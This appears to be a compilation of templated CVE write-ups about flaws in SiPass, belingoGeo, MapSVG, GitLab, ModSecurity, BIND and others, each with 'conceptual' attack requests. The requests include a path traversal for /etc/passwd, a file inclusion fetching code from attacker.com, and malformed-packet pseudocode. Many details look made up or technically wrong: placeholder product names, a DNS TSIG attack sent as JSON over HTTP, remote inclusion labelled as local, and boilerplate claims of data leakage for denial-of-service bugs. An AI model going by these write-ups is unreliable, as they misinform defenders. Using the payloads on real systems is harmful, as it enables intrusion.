Author: Ameeba

Overview

The CVE-2025-41655 represents a critical vulnerability that allows an unauthenticated remote attacker to trigger a system reboot by accessing a specific URL. This vulnerability is of high concern as it affects multiple versions of widely used products, potentially leading to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-41655
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Product 1 | All versions up to 2.1.5
Product 2 | All versions up to 3.0.8

How the Exploit Works

The vulnerability is exploited when an unauthenticated attacker sends a specially crafted HTTP request to a specific URL on the target system. This triggers an unintended behavior in the system that results in a reboot. The reboot may disrupt essential services, cause data loss, or provide an opportunity for further exploitation while the system is in an unstable state.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. In this case, an HTTP request is sent to the vulnerable URL:

GET /trigger_reboot_endpoint HTTP/1.1
Host: target.example.com

Mitigation & Patching

The recommended mitigation for this vulnerability is to apply the vendor’s patch as soon as it is available. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) that can filter or block the malicious requests can serve as a temporary mitigation. Regularly updating and patching your systems can help prevent exploitation of this and other vulnerabilities.

Overview

This report discusses a critical vulnerability, CVE-2022-31812, that affects all versions of SiPass integrated before V2.95.3.18. This vulnerability could potentially allow an unauthenticated remote attacker to cause a denial of service condition, thereby compromising system integrity and potentially leading to data leakage. Given the severity of the potential impact, this vulnerability warrants immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2022-31812
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, Potential system compromise, or data leakage

Affected Products

Product | Affected Versions

SiPass Integrated | All versions < V2.95.3.18 How the Exploit Works

The vulnerability stems from an out-of-bounds read past the end of an allocated buffer in the server applications of SiPass Integrated. This flaw occurs while checking the integrity of incoming packets. Unauthenticated remote attackers can exploit this vulnerability by sending specially crafted packets to the server, causing an out-of-bounds read. This could lead to a Denial of Service (DoS) or potentially further compromise the system, leading to data leakage.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might exploit it by sending a malformed packet that triggers the out-of-bounds read error. Below is a conceptual example of what this might look like in pseudocode:

# pseudocode representing a potential exploit
def create_malicious_packet():
packet = bytearray()
# Fill the packet with data that will trigger the out-of-bounds read
for i in range(0, BUFFER_SIZE + 1):
packet.append(i)
return packet
def send_packet(target_ip, packet):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, SIPASS_PORT))
sock.send(packet)
sock.close()
malicious_packet = create_malicious_packet()
send_packet("target.example.com", malicious_packet)

Note: This is a conceptual representation and does not represent a real exploit. It is meant to provide an understanding of how the vulnerability might be exploited.

Overview

The vulnerability CVE-2025-47603, identified in Belingo’s software belingoGeo, poses a significant threat due to its ability to allow path traversal. This can potentially lead to a system compromise or data leakage, affecting users of belingoGeo versions up to 1.12.0. In the field of cybersecurity, such vulnerabilities are taken seriously due to the potential exploitation by malicious actors.

Vulnerability Summary

CVE ID: CVE-2025-47603
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

belingoGeo | Up to 1.12.0

How the Exploit Works

The exploit works by taking advantage of the improper limitation of a pathname to a restricted directory in belingoGeo. This flaw allows an attacker to access directories that should be restricted, potentially leading to unauthorized access to sensitive data or even overall system compromise.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. In this case, we will use a malicious HTTP request to attempt path traversal:

GET /../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker tries to move up two directories and access the “/etc/passwd” file, which contains sensitive data. If the system is vulnerable, it may allow this request and provide the attacker with unauthorized access to this file.
As a mitigation strategy, users are advised to apply the patch provided by the vendor or use Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation. Regular updating and patching of software components are crucial in minimizing the risk of such vulnerabilities.

Overview

The vulnerability CVE-2025-47558 relates to a missing authorization flaw in the RomanCode MapSVG software. This vulnerability can lead to unauthorized access to functionalities not effectively constrained by Access Control Lists (ACL). Essentially, the issue exposes the system to potential compromise or data leakage, impacting versions up to 8.5.31 of MapSVG.

Vulnerability Summary

CVE ID: CVE-2025-47558
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

RomanCode MapSVG | Up to 8.5.31

How the Exploit Works

The exploit takes advantage of the missing authorization in RomanCode MapSVG’s ACL. The attacker, with no required privileges or user interaction, can send a specially crafted request to gain unauthorized access to functionalities. This exposes the system to potential compromise or data leakage.

Conceptual Example Code

A potential malicious request could look like this:

POST /mapsvg/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "unauthorized_access_request" }

This request would exploit the missing authorization vulnerability, giving the attacker access to functionalities not properly constrained by ACLs.

Mitigation Guidance

Users are advised to apply the vendor patch to fix this vulnerability as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. Regularly updating and patching software is crucial to maintaining robust cybersecurity.

Overview

The vulnerability, classified as CVE-2025-47541, is a significant security issue affecting WPFunnels Mail Mint. This software flaw allows the retrieval of sensitive data embedded in sent data, posing potential risks of data leakage and system compromise. The affected parties include any organization or individual using the aforementioned software, from versions n/a through 1.17.7.

Vulnerability Summary

CVE ID: CVE-2025-47541
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WPFunnels Mail Mint | n/a through 1.17.7

How the Exploit Works

The exploit leverages the vulnerability in Mail Mint, where sensitive data is inserted into sent data. A malicious actor can intercept the data and extract sensitive information. Given the attack vector is through the network, the attacker does not need any special privileges or user interaction, making it a high-risk vulnerability.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /retrieve/data HTTP/1.1
Host: target.example.com
Accept: application/json
{ "retrieve": "sensitive_data" }

In this example, the attacker sends a request to the server hosting Mail Mint to retrieve sensitive data embedded in sent data. As the server is vulnerable, it complies with the request, sending back the sensitive data to the attacker.

Mitigation Guidance

To mitigate the risk of this vulnerability, users of the affected versions of Mail Mint should apply the vendor’s patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, providing some level of protection until the patch is applied.

Overview

This report assesses a serious vulnerability, CVE-2025-46454, that affects the svil4ok Meta Keywords & Description PHP program. This vulnerability can lead to a PHP Local File Inclusion, which could potentially compromise a system or leak sensitive data. Given that PHP is a widely used language for web development, this vulnerability could have widespread impacts.

Vulnerability Summary

CVE ID: CVE-2025-46454
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

svil4ok Meta Keywords & Description | n/a to 0.8

How the Exploit Works

The exploit works by taking advantage of improper control of filename for an include/require statement in the svil4ok Meta Keywords & Description PHP program. An attacker can manipulate the filename to include a local file from the server, leading to a PHP Local File Inclusion. This could allow the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of a HTTP request that could exploit this vulnerability:

GET /include.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In the above example, the attacker is inserting their own server URL (`http://attacker.com/malicious_file.php`) into the `file` parameter. If the server processes this request, it may include the malicious file and execute any PHP code it contains.

Mitigation Guidance

It is recommended to apply the vendor patch as soon as it becomes available. In the meantime, you can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly updating and patching your PHP programs can help prevent such vulnerabilities from being exploited.

Overview

The CVE-2025-0993 is a critical vulnerability discovered in GitLab CE/EE that affects multiple versions of the software. If exploited, an authenticated attacker could exhaust server resources, causing a denial of service (DoS) condition. As GitLab is widely used for software development and collaboration, this vulnerability could potentially impact a large number of users and organizations.

Vulnerability Summary

CVE ID: CVE-2025-0993
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Authenticated)
User Interaction: None
Impact: Denial of Service (DoS), potential system compromise, and potential data leakage

Affected Products

Product | Affected Versions

GitLab CE | versions before 17.10.7
GitLab EE | 17.11 before 17.11.3, 18.0 before 18.0.1

How the Exploit Works

An authenticated attacker can exploit this vulnerability by sending a series of requests designed to consume excessive system resources. This is done by leveraging a flaw in the software’s resource allocation, causing it to allocate more resources than necessary or to fail to properly release resources after use. As a result, the server can become overwhelmed and unable to service legitimate requests, leading to a denial of service.

Conceptual Example Code

Below is a conceptual example of a malicious request that could exploit this vulnerability. In practice, the specifics of the “malicious_payload” would depend on the exact nature of the resource allocation flaw.

POST /api/v4/projects HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

Please note that the actual exploit would require detailed knowledge of the specific flaw and might involve multiple such requests.

Mitigation Guidance

As soon as possible, affected users should apply the vendor-provided patch to fix this vulnerability. If immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures are not a substitute for patching and should only be used as a stop-gap measure.

Overview

The CVE-2025-47947 vulnerability is a significant security flaw discovered in ModSecurity, an open-source web application firewall widely used across platforms such as Apache, IIS and Nginx. This vulnerability is critical due to its potential to cause a denial of service attack, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47947
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise or data leakage

Affected Products

Product | Affected Versions

ModSecurity for Apache | Up to and including 2.9.8
ModSecurity for IIS | Up to and including 2.9.8
ModSecurity for Nginx | Up to and including 2.9.8

How the Exploit Works

The vulnerability lies in the `sanitiseMatchedBytes` action in ModSecurity. When the payload’s content type is `application/json`, and a rule which executes a `sanitiseMatchedBytes` action is triggered, the application becomes susceptible to a denial of service attack. The attacker can leverage this vulnerability to cause the system to consume excessive resources, leading to a denial of service.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"sanitiseMatchedBytes": "This is a malicious payload that triggers a denial of service attack..."
}

The above request, when processed by a vulnerable version of ModSecurity, could lead to a denial of service attack.

Mitigation

The most effective mitigation for this vulnerability is to apply the vendor-supplied patch, which is available at pull request 3389 and is expected to be included in version 2.9.9. In situations where immediate patching is not possible, deploying a web application firewall or intrusion detection system as a temporary mitigation measure is recommended. However, it is crucial to note that these are only stop-gap measures and the patch should be applied as soon as possible to fully mitigate the vulnerability.

Overview

The vulnerability CVE-2025-4416 is a severe security issue affecting the Drupal Events Log Track, a popular web content management system. This vulnerability allows for the excessive allocation of resources without any limits or throttling. This can potentially lead to a system compromise or data leakage, posing a significant risk to any business relying on the affected software.

Vulnerability Summary

CVE ID: CVE-2025-4416
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Drupal Events Log Track | 0.0.0 – 3.1.10
Drupal Events Log Track | 4.0.0 – 4.0.1

How the Exploit Works

The vulnerability is essentially a resource exhaustion issue, as it allows an attacker to allocate excessive resources without any restriction. This can be achieved remotely without requiring any user interaction or special privileges. An attacker could potentially leverage this vulnerability to compromise the system or lead to data leakage, causing massive damage.

Conceptual Example Code

The following conceptual code illustrates how an attacker might exploit this vulnerability:

POST /event/log/track HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "resource_request": "9999999999" }

In this example, the attacker sends a POST request to the vulnerable endpoint `/event/log/track` with an excessively high `resource_request` value, causing the system to allocate more resources than it can handle, leading to potential system instability or compromise.

Mitigation

Users are advised to update Drupal Events Log Track to version 3.1.11 or 4.0.2 that contain patches for this vulnerability. Alternatively, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly updating software and employing robust security measures are crucial in maintaining a secure digital environment.

Overview

This report discusses the vulnerability CVE-2025-40775, which affects BIND DNS server versions 9.20.0 through 9.20.8 and 9.21.0 through 9.21.7. This vulnerability is significant as it potentially allows unauthorized access to systems, leading to data leakage or system compromise. Given the widespread use of BIND DNS servers, this vulnerability poses a considerable risk to secure information exchange and integrity of systems across the globe.

Vulnerability Summary

CVE ID: CVE-2025-40775
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

BIND DNS Server | 9.20.0 – 9.20.8
BIND DNS Server | 9.21.0 – 9.21.7

How the Exploit Works

When the BIND DNS server receives an incoming DNS protocol message that includes a Transaction Signature (TSIG), it always checks this signature. If the TSIG contains an invalid value in its algorithm field, the BIND server is forced to abort its operation with an assertion failure. This behavior can be exploited by attackers to interrupt the DNS service, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how a DNS protocol message with an invalid TSIG might be sent to exploit this vulnerability:

POST /dns-query HTTP/1.1
Host: vulnerable-dns-server.com
Content-Type: application/dns-message
{
"header": {
"id": "1234",
"opcode": "QUERY",
"rcode": "NOERROR",
"flags": ["qr","rd","ra"],
"qdcount": "1",
"ancount": "0",
"nscount": "0",
"arcount": "1"
},
"question": [{"name": "example.com.", "type": "A"}],
"additional": [
{
"name": "transaction-key.",
"type": "TSIG",
"algorithm": "invalid-algorithm",
"time_signed": "20250314120000",
"fudge": "300",
"error": "NOERROR",
"other_data": ""
}
]
}

In this example, the “algorithm” field of the TSIG contains an invalid value (“invalid-algorithm”), which would cause the BIND server to abort its operation with an assertion failure.